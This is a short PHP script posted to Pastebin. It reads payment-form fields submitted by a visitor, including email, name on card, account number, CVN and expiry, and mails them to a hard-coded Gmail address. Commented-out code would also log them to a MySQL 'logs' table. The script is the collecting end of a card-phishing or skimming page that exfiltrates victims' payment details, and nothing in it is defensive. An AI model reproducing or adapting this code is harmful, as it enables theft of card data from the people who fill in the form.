Advertisement
Guest User

Untitled

a guest
Sep 28th, 2017
428
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. <?php
  2. // Details, chage according to yours
  3. /*
  4. $database_name = "logs";
  5. $mysql_username = "root";
  6. $mysql_password = "";
  7. $host_name = "127.0.0.1";
  8. $table_name = "user_details";
  9. */
  10.  
  11. $youremail = "amando96@gmail.com";
  12.  
  13. // connect to the DB
  14. /*
  15. $con = mysql_connect("$_host","$_username","$_password");
  16. if (!$con){
  17. die('Could not connect: ' . mysql_error());
  18. }
  19. */
  20.  
  21. // if email is set, add to email body
  22. if(isset($_POST["Address_EmailAddress"])){
  23. $message = "Email: ".$_POST["Address_EmailAddress"]."<br/>";
  24. }
  25. // if payment type is set, add to email body
  26. if(isset($_POST["PaymentMethod_PaymentType"])){
  27. $message .= "Payment method: ".$_POST["PaymentMethod_PaymentType"]."<br/>";
  28. }
  29. // if name on card is set, add to email body
  30. if(isset($_POST["PaymentMethod_FullName"])){
  31. $message .= "Name on card: ".$_POST["PaymentMethod_FullName"]."<br/>";
  32. }
  33. // if account number is set, add to email body
  34. if(isset($_POST["PaymentMethod_AccountNumber"])){
  35. $message .= "account number: ".$_POST["PaymentMethod_AccountNumber"]."<br/>";
  36. }
  37. // if CVN is set, add to email body
  38. if(isset($_POST["PaymentMethod_CVN"])){
  39. $message .= "CVN: ".$_POST["PaymentMethod_CVN"]."<br/>";
  40. }
  41. // if expiry date is set, add to email body
  42. if(isset($_POST["PaymentMethod_ExpirationMonth"])){
  43. $message .= "Expiration: ".$_POST["PaymentMethod_ExpirationMonth"]."<br/>";
  44. }
  45.  
  46.  
  47. mail('$youremail', 'User data', $message);
  48. //echo $message;
  49.  
  50.  
  51. // close connection
  52. //mysql_close($con);
  53.  
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement